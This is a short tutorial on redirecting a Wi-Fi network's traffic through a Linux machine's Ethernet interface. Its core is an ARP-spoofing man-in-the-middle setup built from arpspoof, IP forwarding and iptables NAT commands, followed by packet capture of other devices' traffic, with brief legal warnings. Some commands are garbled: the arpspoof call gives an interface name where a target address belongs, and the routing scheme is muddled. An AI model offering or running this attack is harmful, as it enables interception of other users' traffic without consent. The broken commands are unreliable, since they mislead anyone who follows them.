Wi-Fi to Ethernet Traffic Redirection

TL;DR

This guide shows you how to redirect all network traffic from your Wi-Fi connection through your ethernet cable. This is useful for testing, monitoring, or forcing specific connections via a wired link. Warning: This can disrupt network connectivity for other users and may be illegal without permission on networks you don’t own. Use responsibly.

Prerequisites

• A Linux machine (Kali Linux is recommended).
• Root or sudo access.
• Two network interfaces: one connected to Wi-Fi, and one connected to Ethernet. Find these using

  ip addr

  . Note the interface names (e.g., wlan0 for Wi-Fi, eth0 for Ethernet).

• Basic command line knowledge.

Steps

1. Enable IP Forwarding: This allows your Linux machine to act as a router.
   • Temporarily enable forwarding:

     sudo sysctl -w net.ipv4.ip_forward=1

   • To make this permanent, edit /etc/sysctl.conf and uncomment or add the line:

     net.ipv4.ip_forward=1

     . Then run

     sudo sysctl -p

     .

2. Configure Network Interfaces: Set static IP addresses for both interfaces.
   • Wi-Fi Interface (e.g., wlan0): Connect to your Wi-Fi network as usual, then set a static IP address. Replace the example values with those appropriate for *your* network:

     sudo ip addr flush dev wlan0

     sudo ip addr add 192.168.1.10/24 dev wlan0

     sudo ip link set wlan0 up

   • Ethernet Interface (e.g., eth0): Configure the ethernet interface with an IP address on a different subnet, and set it as the gateway for traffic coming from Wi-Fi.

     sudo ip addr flush dev eth0

     sudo ip addr add 192.168.2.1/24 dev eth0

     sudo ip link set eth0 up

3. Enable ARP Spoofing: Redirect traffic from the Wi-Fi network to your ethernet interface.
   • Install arpspoof if it’s not already installed (usually pre-installed on Kali Linux).
   • Run arpspoof to redirect traffic:

     sudo arpspoof -i wlan0 -t eth0 192.168.1.1

     (Replace wlan0, eth0 and 192.168.1.1 with your actual interface names and the Wi-Fi router’s IP address.)

4. Configure NAT (Network Address Translation): Allow traffic to flow through the ethernet connection.

   sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

   sudo iptables -A FORWARD -i wlan0 -o eth0 -m state --state RELATED,ESTABLISHED -j ACCEPT

   sudo iptables -A FORWARD -i eth0 -o wlan0 -j ACCEPT

5. Verify Traffic Redirection: Check that traffic is flowing through the ethernet interface.
   • Use a tool like Wireshark on your Linux machine to capture packets on eth0. You should see traffic from devices on the Wi-Fi network.
   • Alternatively, connect a device to the internet via the Ethernet connection and verify it has access.

Important Considerations

• ARP Spoofing Detection: ARP spoofing is easily detectable by network security tools.
• Network Disruption: This process can disrupt network connectivity for other users on the Wi-Fi network.
• Legal Implications: Performing this attack on networks you do not own or have permission to access is illegal in many jurisdictions.
• Reverting Changes: To stop traffic redirection, stop arpspoof (Ctrl+C), remove the iptables rules with

  sudo iptables -F

  , and restore your network interfaces’ original configurations.